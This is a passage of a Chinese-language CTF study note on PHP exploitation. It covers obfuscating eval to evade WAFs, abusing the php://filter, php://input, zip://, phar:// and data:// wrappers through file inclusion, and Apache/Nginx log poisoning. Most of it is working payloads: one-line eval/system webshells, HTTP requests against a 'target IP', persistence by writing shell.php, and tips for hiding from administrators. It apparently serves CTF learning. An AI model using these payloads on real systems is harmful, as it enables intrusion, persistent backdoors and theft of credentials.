base64_decode('ZXZhbA==')这类明文字符串,但未对编译优化后的结果做校验php<?php // 操作1:基础常量折叠:base64_decode常量被编译优化为eval $func = base64_decode('ZXZhbA=='); // 编译阶段直接优化为 $func = 'eval'; $func($_POST['cmd']); // 运行时直接执行,规避WAF对"eval"的检测 // 操作2:进阶常量折叠:多重编码+常量运算,提升绕过成功率 $str1 = base64_decode('WlhaYmE='); // ZXZha(eval前4个字符) $str2 = base64_decode('QQ=='); // A(eval最后1个字符) $func2 = $str1 . $str2; // 编译阶段优化为 $func2 = 'eval'; $func2($_POST['cmd']); // 操作3:利用数学常量优化,规避编码关键字检测 $len = strlen('eval') - 1; $func3 = substr('eavlxyz', 0, $len + 1); // 编译阶段优化为 $func3 = 'eval'; $func3($_POST['cmd']); -
步骤 3:验证编译优化效果
- 方式 1:使用 vld 扩展查看 opcode,确认
$func的值已被优化为eval(opcode 中直接存储eval,无base64_decode执行指令); - 方式 2:上传 payload 到目标服务器,传递
cmd=phpinfo();,确认代码正常执行,且 WAF 未拦截(安全工具仅检测到base64_decode,未识别编译优化后的eval)。
- 方式 1:使用 vld 扩展查看 opcode,确认
-
步骤 4:注意事项(规避编译优化失败)
- 仅常量表达式会被优化(变量参与的表达式不会被优化,如
base64_decode($_GET['code'])); - 避免使用禁用函数的常量表达式(如
system被禁用,即使编译优化后也无法执行); - 针对 PHP 7.x/8.x 版本差异,调整 payload(PHP 8.x 编译优化规则更严格,部分拼接语法可能不被优化)。
- 仅常量表达式会被优化(变量参与的表达式不会被优化,如
(三) 编译层绕过核心总结
- 核心逻辑:「编译阶段合法解析,运行阶段执行恶意代码,安全工具无法跨阶段识别」;
- 关键操作:利用 Zend 语法解析规则、编译优化特性,规避直接的关键字检测和函数禁用;
- 落地要点:payload 需满足「Zend 编译可正常生成 opcode」,且尽可能隐蔽(减少明文字符串,增加混淆层)。
PHP 伪协议实战:php://filter(文件过滤读取)、php://input(POST 数据接收)、zip://(压缩包解析)等协议的功能、适用场景及语法格式;
前置说明
- 适用前提:目标 PHP 环境开启
allow_url_fopen(默认开启),部分协议(如php://input)需要开启allow_url_include; - 核心场景:文件包含漏洞(LFI/RFI)、敏感文件读取、代码执行、上传文件绕过;
- 验证工具:Burp Suite(抓包构造请求)、浏览器(直接拼接 URL 参数)、蚁剑 / 菜刀(后续连接)。
(一) 协议 1:php://filter(文件过滤读取)
核心属性
-
功能:对目标文件进行「过滤处理」(如编码转换、内容过滤)后读取,无法直接执行代码,核心用于读取不可直接访问的文件(如
flag.php、config.php); -
适用场景:文件包含漏洞、源码读取、绕过文件内容直接输出限制;
-
核心语法格式(完整 payload): plaintext
php://filter/read=过滤方式/resource=目标文件路径 # 常用过滤方式:convert.base64-encode(Base64编码,避免中文乱码、规避内容过滤) # 简化格式(兼容大部分环境): php://filter/convert.base64-encode/resource=目标文件路径
核心操作过程(以 CTF 读取flag.php为例)
-
步骤 1:明确目标与限制
- 目标:读取
/var/www/html/flag.php(网站根目录下的 flag 文件,直接访问返回空白或 404); - 限制:目标服务器禁止直接读取
flag.php,仅允许通过index.php?file=参数进行文件包含。
- 目标:读取
-
步骤 2:构造完整 payload 利用
convert.base64-encode过滤方式(Base64 编码读取,避免内容被解析或过滤),拼接文件包含参数:plaintext
# URL参数形式(直接在浏览器访问/Burp Suite发送) http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=flag.php # 若路径包含特殊字符(如空格、#),需进行URL编码 http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=%2Fvar%2Fwww%2Fhtml%2Fflag.php -
步骤 3:发送请求,获取编码结果
- 操作 1:浏览器直接访问构造的 URL,页面会返回一串 Base64 编码字符串(如
PD9waHAgJGYsYWcgPSAiRkxBRzpteX9mbGFnX2lzdGVuZCI7Pz4=); - 操作 2:若浏览器返回空白,使用 Burp Suite 抓包,在「Response」面板中提取 Base64 编码内容(避免页面渲染过滤)。
- 操作 1:浏览器直接访问构造的 URL,页面会返回一串 Base64 编码字符串(如
-
步骤 4:解码获取文件内容
-
方式 1:在线 Base64 解码工具(如https://base64.supfree.net/),粘贴编码字符串,解码得到
flag.php源码; -
方式 2:本地命令行解码(Linux/Windows): bash
运行
# Linux echo "PD9waHAgJGYsYWcgPSAiRkxBRzpteX9mbGFnX2lzdGVuZCI7Pz4=" | base64 -d # Windows(PowerShell) [System.Convert]::FromBase64String("PD9waHAgJGYsYWcgPSAiRkxBRzpteX9mbGFnX2lzdGVuZCI7Pz4=") | Out-File -FilePath flag.php -Encoding utf8 -
结果:解码后得到
flag.php源码,提取其中的$flag变量值,完成目标。
-
-
步骤 5:进阶操作(绕过协议限制) 若目标服务器禁止
php://filter协议,采用「协议变形」规避检测,核心变形 payload:plaintext
# 变形1:多斜杠(Zend编译阶段会自动合并多余斜杠) php://////filter/convert.base64-encode/resource=flag.php # 变形2:路径拼接(利用PHP路径解析规则) php:/./filter/convert.base64-encode/resource=flag.php # 变形3:参数拆分(适用于WAF拦截完整协议字符串) http://目标IP/index.php?file=php://filter/read=convert.base64-encode/resource=&path=flag.php -
注意事项
php://filter仅用于「读取」,无法执行代码,若需执行需配合其他协议;- 目标文件路径需准确(可通过
../../../../路径遍历,定位系统敏感文件,如/etc/passwd); - Base64 编码后的结果可能包含换行符,解码前需去除多余空白字符。
(二) 协议 2:php://input(POST 数据接收)
核心属性
-
功能:读取 POST 请求体中的原始数据,支持将 POST 数据作为 PHP 代码执行,核心用于「代码执行」;
-
适用场景:文件包含漏洞(RFI/LFI)、远程代码执行、绕过 GET 参数限制;
-
前置条件:目标 PHP 环境开启
allow_url_include=On(默认关闭,需漏洞环境或配置不当); -
核心语法格式:
bashphp://input # 无额外参数,直接作为文件包含参数使用,POST请求体中写入恶意PHP代码
核心操作过程(以文件包含 getshell 为例)
-
明确目标与限制
- 目标:通过文件包含漏洞,在目标服务器上执行恶意代码,获取 webshell;
- 限制:目标仅允许通过
index.php?file=参数进行文件包含,且禁止http://远程包含协议。
-
构造请求(核心操作,需使用 Burp Suite)
-
发送 GET 请求,拼接文件包含参数:
phpGET /index.php?file=php://input HTTP/1.1 Host: 目标IP Connection: close Content-Type: text/plain # 指定POST数据格式为纯文本 Content-Length: 长度值(POST数据的字节数) -
在请求体(POST Data)中写入恶意 PHP 代码(一句话后门):
php<?php eval($_POST['cmd']); ?> # 接收POST参数cmd,执行任意PHP代码 # 进阶:隐蔽性后门,避免被快速检测 <?php @system($_POST['shell']); ?>
-
-
发送请求,验证代码执行
- Burp Suite 发送构造好的请求,查看响应状态码(200 OK 表示请求成功);
- 验证后门可用性:使用蚁剑 / 菜刀,添加目标地址
http://目标IP/index.php,密码cmd(对应后门中的$_POST['cmd']),测试连接; - 若连接成功,即可通过蚁剑 / 菜刀执行命令、读取文件,完成 getshell。
-
进阶操作(绕过
allow_url_include关闭限制) 若目标allow_url_include=Off,可结合「文件上传 +php://input」绕过:-
上传包含
<?php eval($_POST['cmd']); ?>的图片文件(伪装文件头GIF89a,绕过上传限制); -
通过
php://input读取上传文件的路径,再通过文件包含执行; -
核心 payload(POST 请求体):
php<?php $path = '/var/www/html/upload/123.jpg'; include($path); ?>
-
-
注意事项
php://input仅支持 POST 请求,GET 请求无法传递数据;- 当请求方法为
GET时,php://input返回空,需确保请求方法为POST; - 恶意代码需符合 PHP 语法,否则会导致执行失败(可先本地测试语法正确性)。
(三) 协议 3:zip://(压缩包解析)
核心属性
-
功能:直接解析压缩包中的文件(无需解压),支持读取压缩包内的 PHP 文件并执行,核心用于「绕过协议黑名单、上传文件绕过」;
-
适用场景:文件包含漏洞、上传文件后缀限制绕过、
php://filter被禁止的场景; -
核心语法格式:
php# 格式1:压缩包路径%23内部文件路径(%23是URL编码后的#,分隔压缩包与内部文件) zip://压缩包绝对路径%23内部文件相对路径 # 格式2:URL参数形式(文件包含场景) http://目标IP/index.php?file=zip:///var/www/html/flag.zip%23flag.php # 简化格式(上传场景,压缩包位于网站根目录) zip://flag.zip#flag.php
核心操作过程(以绕过php://filter禁止,读取flag.php为例)
-
准备压缩包(本地操作)
- 将目标文件
flag.php(本地创建测试文件,或获取目标文件)压缩为flag.zip(仅压缩flag.php,不包含上级目录); - 验证压缩包(可选):解压
flag.zip,确认内部包含flag.php,且路径正确; - (进阶)若需上传压缩包,可将
flag.zip重命名为flag.jpg(伪装图片后缀,绕过上传格式限制)。
- 将目标文件
-
上传 / 定位压缩包(目标服务器操作)
- 场景 1:压缩包已存在于目标服务器(如
/var/www/html/flag.zip),直接使用绝对路径; - 场景 2:需上传压缩包,通过目标网站的上传功能,将
flag.zip(或flag.jpg)上传至服务器,定位上传路径(如/var/www/html/upload/flag.jpg)。
- 场景 1:压缩包已存在于目标服务器(如
-
构造完整 payload,执行文件包含
-
压缩包为
flag.zip,位于网站根目录,读取内部flag.php:http://目标IP/index.php?file=zip:///var/www/html/flag.zip%23flag.php -
上传的压缩包为
flag.jpg,位于upload目录,读取内部flag.php:http://目标IP/index.php?file=zip:///var/www/html/upload/flag.jpg%23flag.php -
关键操作:
#必须进行 URL 编码为%23(否则浏览器会将#后的内容视为锚点,不传递给服务器)。
-
-
获取结果,验证效果
-
浏览器访问构造的 URL,若
flag.php有输出,直接查看页面内容; -
若
flag.php无输出,结合php://filter(若未被完全禁止),构造组合 payload:http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=zip:///var/www/html/flag.zip%23flag.php -
解码 Base64 结果,获取
flag.php内容,完成目标。
-
-
进阶操作(getshell)
-
本地创建
shell.php,写入一句话后门:<?php eval($_POST['cmd']); ?>; -
将
shell.php压缩为shell.zip,重命名为shell.jpg,上传至目标服务器; -
构造 payload,通过文件包含执行后门:
http://目标IP/index.php?file=zip:///var/www/html/upload/shell.jpg%23shell.php -
使用蚁剑 / 菜刀连接,密码
cmd,获取 webshell。
-
-
注意事项
zip://仅支持zip格式压缩包,不支持rar、7z等格式;- 压缩包内的文件路径需为「相对路径」(不可包含
/),否则无法解析; - 目标服务器需有读取压缩包的权限(否则会返回文件不存在错误)。
(四) 其他核心协议补充(快速操作指南)
| 协议 | 核心功能 | 适用场景 | 核心 payload |
|---|---|---|---|
phar:// |
解析 phar 格式压缩包,支持执行内部代码 | 绕过zip://禁止、文件包含 |
phar://shell.phar#shell.php |
data:// |
直接传递数据,支持 Base64 编码执行 | 代码执行、绕过 GET 参数限制 | data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== |
第 4 天:伪协议相关漏洞 + 文件包含与日志注入
伪协议漏洞利用:伪协议与文件包含、代码注入的结合场景
(一) php://filter + 文件包含 → 读取敏感文件
这是最常用的场景,用于读取不可直接访问的敏感文件(如config.php、flag.php、/etc/passwd),核心操作步骤如下:
-
探测文件包含漏洞与可利用性
-
构造基础测试 payload,验证文件包含是否存在:
php# 访问目标包含页面,尝试包含系统默认文件(Linux) http://目标IP/index.php?file=/etc/passwd # Windows系统测试 http://目标IP/index.php?file=C:\Windows\System32\drivers\etc\hosts -
验证结果:若页面返回
root:x:0:0:root:/root:/bin/bash(Linux)或 hosts 文件内容,说明文件包含漏洞存在且无严格过滤。
-
-
构造
php://filter完整 payload 核心采用convert.base64-encode过滤方式,避免文件内容被 PHP 解析(如<?php ?>标签内代码被执行而不输出),完整 payload:php# 基础格式:读取网站根目录下的config.php http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=config.php # 路径遍历:读取上级目录的敏感文件(../ 跳转目录,根据实际路径调整层数) http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd # 完整绝对路径(精准定位,适用于已知路径场景) http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=/var/www/html/flag.php -
发送请求,提取编码结果
- 浏览器直接访问构造的 URL,页面会返回一串连续的 Base64 编码字符串(无多余 HTML 标签,若有可通过「查看页面源代码」提取);
- 若浏览器返回空白,使用 Burp Suite 抓包,在「Response」面板的「Raw」标签下提取完整编码内容(规避页面渲染过滤)。
-
解码获取敏感文件内容
-
在线解码:使用 Base64 解码工具(如https://base64.supfree.net/),粘贴编码字符串,解码得到原始文件源码;
-
本地解码(Linux/Windows):
bash# Linux命令行 echo "编码字符串" | base64 -d > config.php # Windows PowerShell [System.Convert]::FromBase64String("编码字符串") | Out-File -FilePath config.php -Encoding utf8 -
结果提取:从解码后的
config.php中获取数据库账号密码、密钥等敏感信息,从flag.php中提取目标 flag。
-
-
进阶绕过(应对协议 / 关键字拦截) 若目标 WAF 拦截
php://filter,采用协议变形规避,核心变形 payload:# 1. 多余斜杠(Zend引擎编译阶段会自动合并) php://////filter/convert.base64-encode/resource=config.php # 2. 路径拼接(利用PHP路径解析规则) php:/./filter/convert.base64-encode/resource=config.php # 3. 拆分参数(规避完整关键字匹配) http://目标IP/index.php?file=php://filter/read=convert.base64-encode/resource=&name=config.php # 4. 结合其他协议(如zip://,先将敏感文件压缩为zip包) http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=zip://flag.zip%23flag.php
(二) php://input + 文件包含 → 远程代码执行
该场景用于获取临时代码执行权限(getshell),前置条件为allow_url_include=On(默认关闭,需配置不当或漏洞环境),核心操作步骤如下:
-
验证
allow_url_include配置(可选) 构造data://协议 payload,快速验证配置是否开启:http://目标IP/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ -
构造
php://input请求(必须使用 Burp Suite) 该协议仅支持 POST 请求,需在请求体中写入恶意 PHP 代码,步骤如下:-
发送 GET 请求,拼接包含参数:
pythonGET /index.php?file=php://input HTTP/1.1 Host: 目标IP Connection: close Content-Type: text/plain Content-Length: 26 # 对应下方PHP代码的字节数 -
在请求体(POST Data)中写入恶意代码(一句话后门 / 命令执行):
php# 方案1:一句话后门(便于后续蚁剑/菜刀连接) <?php eval($_POST['cmd']); ?> # 方案2:直接执行系统命令(快速验证) <?php system('ls -l /var/www/html'); ?>
-
-
发送请求,验证代码执行效果
- 效果 1(直接命令执行):若请求体中写入
system('ls -l'),响应页面会返回目标目录下的文件列表,说明代码执行成功; - 效果 2(一句话后门):响应页面无明显输出(200 OK),使用蚁剑 / 菜刀添加目标地址
http://目标IP/index.php,密码cmd,测试连接,若能成功连接,说明后门生效。
- 效果 1(直接命令执行):若请求体中写入
-
进阶操作(持久化 webshell) 利用代码执行权限,将后门写入目标服务器本地文件,实现持久化:
-
在 Burp Suite 请求体中写入文件写入代码(Linux):
php<?php file_put_contents('/var/www/html/shell.php', '<?php eval($_POST["cmd"]); ?>'); ?> -
访问
http://目标IP/shell.php,后续可直接通过蚁剑连接,无需重复利用文件包含漏洞。
-
日志文件注入:Apache/Nginx 日志路径定位、恶意代码写入方法、文件包含触发执行流程
(一) 步骤 1:定位 Apache/Nginx 日志文件路径
日志路径分为「默认路径」和「自定义路径」,优先探测默认路径,核心路径如下:
1. Apache 默认日志路径
bash
# 访问日志(最常用,记录所有HTTP请求)
/var/log/apache2/access.log
/var/log/apache/access.log
# 错误日志
/var/log/apache2/error.log
/var/log/apache/error.log
# 虚拟主机日志(若目标配置了虚拟主机)
/var/log/apache2/sites-available/目标域名.access.log
2. Nginx 默认日志路径
bash
# 访问日志(最常用)
/var/log/nginx/access.log
/var/log/nginx/nginx.access.log
# 错误日志
/var/log/nginx/error.log
/var/log/nginx/nginx.error.log
# 虚拟主机日志
/var/log/nginx/目标域名.access.log
3. Windows 日志默认路径
bash
# Apache
C:\Program Files\Apache Group\Apache2\logs\access.log
C:\xampp\apache\logs\access.log
# Nginx
C:\Program Files\Nginx\logs\access.log
C:\xampp\nginx\logs\access.log
4. 路径探测方法(利用文件包含漏洞)
构造 payload,尝试包含日志文件,验证路径是否正确:
bash
http://目标IP/index.php?file=/var/log/apache2/access.log
http://目标IP/index.php?file=/var/log/nginx/access.log
(二) 步骤 2:恶意代码写入日志文件(核心操作,Burp Suite)
以User-Agent注入为例,核心操作步骤如下:
(三) 步骤 3:文件包含触发日志中的代码执行(核心操作)
-
构造文件包含 payload,包含日志文件
plaintext
# Apache 日志 http://目标IP/index.php?file=/var/log/apache2/access.log # Nginx 日志 http://目标IP/index.php?file=/var/log/nginx/access.log # 路径遍历(若日志文件在上级目录) http://目标IP/index.php?file=../../../../var/log/nginx/access.log -
验证代码执行权限(两种方式)
-
方式 1:直接使用 Burp Suite 发送 POST 请求,传递
cmd参数执行命令:POST /index.php?file=/var/log/apache2/access.log HTTP/1.1 Host: 目标IP Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 16 cmd=phpinfo(); -
方式 2:使用蚁剑 / 菜刀连接,添加目标地址
http://目标IP/index.php?file=/var/log/apache2/access.log,密码cmd,测试是否能执行命令、读取文件。
-
-
进阶操作:持久化 webshell 利用日志中的代码执行权限,将后门写入目标服务器本地文件,避免重复注入日志:
-
执行文件写入命令(Linux):
php# 传递cmd参数:file_put_contents写入后门 cmd=file_put_contents('/var/www/html/shell.php', '<?php eval($_POST["cmd"]); ?>'); -
访问
http://目标IP/shell.php,后续可直接通过蚁剑连接,完成持久化。
-
(四)注意事项与优化(提升利用成功率)
-
日志文件编码 / 格式问题
- Web 服务器会对日志中的特殊字符进行转义,若 PHP 代码执行失败,可尝试简化代码(如
<?=@eval($_POST['c']);?>,减少特殊字符); - 若日志文件过大,包含漏洞执行超时,可等待日志轮转(Web 服务器会定期切割日志文件,生成新日志),再重新注入代码。
- Web 服务器会对日志中的特殊字符进行转义,若 PHP 代码执行失败,可尝试简化代码(如
-
权限问题
- 若无法读取日志文件,尝试其他路径,或利用路径遍历提升权限;
- 避免写入被保护的日志文件(如
root权限日志,Web 服务器无法读取)。
-
隐蔽性优化
-
注入的 PHP 代码可结合 Base64 编码,提升隐蔽性,避免被管理员发现:
phpUser-Agent: <?php $a=base64_decode('ZXZhbA=='); $a($_POST['cmd']); ?>
-
-
Nginx 日志特殊处理 Nginx 默认会对请求头中的特殊字符进行转义(如
<转义为<),导致 PHP 代码无法被解析
五、核心漏洞与 CTF 实战考点整合
(一)关键文件与漏洞点
| 文件名 | 核心功能 | 漏洞 / 限制 | CTF 考点应用 |
|---|---|---|---|
| index.php | 接收 file 参数,实现文件包含 | 禁止 input/filter/data 协议;无 file 时显示 upload 链接 | 文件包含漏洞绕过、伪协议替代方案(如zip://) |
| flag.php | 定义 $flag 变量 | 需通过文件包含或其他漏洞读取 | 伪协议读取源码、文件包含直接包含获取 flag |
| 上传相关文件 | 处理文件上传 | 允许格式:jpg/jpeg/png/zip;大小限制 < 100000;文件名 MD5 加密 | 后缀欺骗、文件头伪装绕过上传限制,配合文件包含 getshell |
| 登录相关文件 | 处理用户名 / 密码校验 | 预编译 SQL 防注入;密码 MD5 加密;Session 存储 base64 编码用户名 | 非预编译场景 SQL 注入、Session 欺骗辅助解题 |
(二)高危漏洞与 CTF 解题技巧
- 文件包含漏洞(LFI)
- 核心考点:协议绕过、日志注入、上传文件包含;
- 解题技巧:尝试
zip://、phar://等未被禁止的协议;构造日志注入恶意代码(如 User-Agent 写入<?php eval($_POST['cmd']);?>),再通过文件包含执行。
- 文件上传漏洞
- 核心考点:格式校验绕过、文件内容伪装;
- 解题技巧:后缀欺骗(
shell.php.jpg)、文件头伪装(添加 GIF89a)、压缩包上传后解压包含。
- SQL 注入漏洞
- 核心考点:参数拼接注入、联合查询、报错注入;
- 解题技巧:测试语句
'0' union select 1,2,3#、'0' union select 1,2,3--;预编译场景不可注入,重点关注 id 等直接拼接参数。
- 伪协议应用
- 核心考点:敏感文件读取、代码执行;
- 解题技巧:
php://filter/read=convert.base64-encode/resource=flag.php读取源码,php://input接收 POST 数据执行代码。
(三)CTF 常用工具与函数
| 类型 | 内容 | 备注(CTF 应用场景) |
|---|---|---|
| 工具 | Burp Suite(抓包 / 爆破)、Python(脚本开发) | 爆破文件名、自动化测试 LFI 偏移量、构造注入 payload |
| 危险协议 | php://filter、php://input、zip://、phar:// | 绕过文件包含限制、读取敏感文件 |
| 核心函数 | scandir(目录遍历)、fopen/fwrite(文件读写)、include ()(文件包含) | 目录扫描找 flag 文件、写入恶意代码、触发漏洞执行 |
| 数据处理 | substr(字符串截取)、ceil/floor(数值处理) | 构造精准 payload,适配漏洞参数要求 |
(四)CTF 自动化脚本
python
import sys
attempts = 1000
host = "192.168.68.129" # CTF靶机地址
port = 80
def init(host, port):
# 初始化HTTP连接(CTF中可配置请求头、Cookie等)
request1 = "GET /index.php?file= HTTP/1.1\r\nHost: {}\r\n\r\n".format(host)
request2 = ""
return request1, request2
def getoffset(host, port, request1):
# 计算文件包含偏移量(适配CTF中LFI题目)
return 0
def phpinfo_LFI(host, port, offset, request1, request2):
# 利用LFI读取phpinfo或flag文件
payload = "php://filter/read=convert.base64-encode/resource=flag.php"
request = request1.replace("file=", "file={}".format(payload))
# 发送请求并接收响应(需补充socket通信逻辑)
return None
if __name__ == "__main__":
request1, request2 = init(host, port)
for i in range(1, attempts):
offset = getoffset(host, port, request1)
print(f"try:{i}/{attempts}")
sys.stdout.flush()
res = phpinfo_LFI(host, port, offset, request1, request2)
if res is not None:
print('Success! Flag content:', res)
break
六、安全防护措施(CTF 防护绕过思路)
| 防护类型 | 具体措施 | 作用 | CTF 绕过技巧 |
|---|---|---|---|
| SQL 注入防护 | 预编译 SQL 语句(bind_param 绑定参数) | 杜绝参数拼接注入 | 寻找未使用预编译的场景(如 id 参数直接拼接) |
| 文件上传防护 | 格式校验(后缀白名单)、大小限制 | 防止恶意文件上传 | 后缀欺骗、文件头伪装、分块上传绕过大小限制 |
| 文件包含防护 | 禁止危险协议(input/filter/data) | 减少文件包含风险 | 使用zip://、phar://等替代协议 |
| 会话安全 | Session 存储 base64 编码用户名 | 提升会话安全性 | 破解 base64 编码、伪造 Session 标识 |
| 其他 | 错误抑制、日志记录 | 减少信息泄露 | 触发报错注入、利用日志文件写入恶意 |
七、总结
前四天的学习构建了从底层原理到 CTF 实战的完整知识体系,不仅掌握了 PHP 相关核心漏洞的利用技术,更实现了 "漏洞成因 - 利用逻辑 - CTF 解题适配" 的思维闭环。后续将以 "强化基础、深耕实战" 为目标,持续提升渗透技术的深度与广度,重点突破 CTF 高频考点,努力将理论知识转化为高效解题能力,为后续竞赛与实战应用筑牢基础。